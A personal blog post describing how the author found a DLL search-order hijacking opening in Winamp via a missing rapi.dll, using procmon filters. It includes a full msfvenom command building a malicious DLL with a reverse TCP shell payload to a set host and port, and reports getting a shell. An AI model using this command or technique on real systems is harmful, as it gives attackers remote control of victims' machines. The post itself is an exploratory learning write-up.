DLL Hijacking Winamp

I've been a HUGE fan of Winamp since it's inception.  At the time, I was a modem support jockey, ironically enough, at AOL. (for those curious, that was about 1997).  Seems everyone today is perfectly fine with the stock crap that the vendors push for audio, which helps explain why the product is no longer officially around and instead, listed optimistically citing that "there's more coming soon".  Regardless, I still use the product and recently, learned of DLL Hijacking.
Obviously, this isn't anything new and I'm blissfully late to the party.  Regardless, it's worth looking at and learning more about.  "This issue is caused by applications passing an insufficiently qualified path when loading an external library".  The folks over at Offensive-Security have a great video on this here.  Like I said, I'm new to this topic for some unknown reason.

To test against Winamp, I first fired up procmon from Sysinternals. I start with 3 filters;

• Process Name is "Winamp.exe"
• Result is "name not found"
• Path ends with ".dll"  - This gets changed to the dll I'm looking for later

I started looking at the dlls one at a time and found rapi.dll.  I threw IDA free at Winamp.  Couldn't find rapi.dll as a string.  I modified the filter to look like the above pic, homing in on rapi.dll and launched the app again normally.  This is what I found.

That's a whole lot of paths it's searching.  What's really dangerous is that pretty much the entire system PATH was searched for this dll.  Notice, I have location defined outside of the protected %program files% space.  I chose to to test this using PYTHON27 dir.  Of course, the first thing we try is a Metasploit and a meterpreter package, right?  Sorta.  The DLL works completely on its own, but when called from the application, I get broke meterpreter session with a fully functional.  Must be a problem with the stager.  Let's just get shell. For now, settled on the following msfvenom build.

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.118 LPORT=8081 -f dll -a x86 --platform windows EXITFUNC=process > rapi.dll

BOOM!  However, the application is no longer functional.  Remember how I said I was totally new at IDA, reversing and the lot?  I'm pretty sure if I could find the call to rapi, I might be able to determine what it's expecting to have returned, and put that in my my own custom DLL.  All theory at this point.  BTW, rapi.dll appears to be related to mobile devices, but doesn't exist on either my Win7, Win8 or Win10 boxes.

In conclusion, while not exactly getting access to the box, this search order reveals paths that might have execution privileges, so when looking at needing to obtain more shells, this could lend itself slightly useful (well, maybe)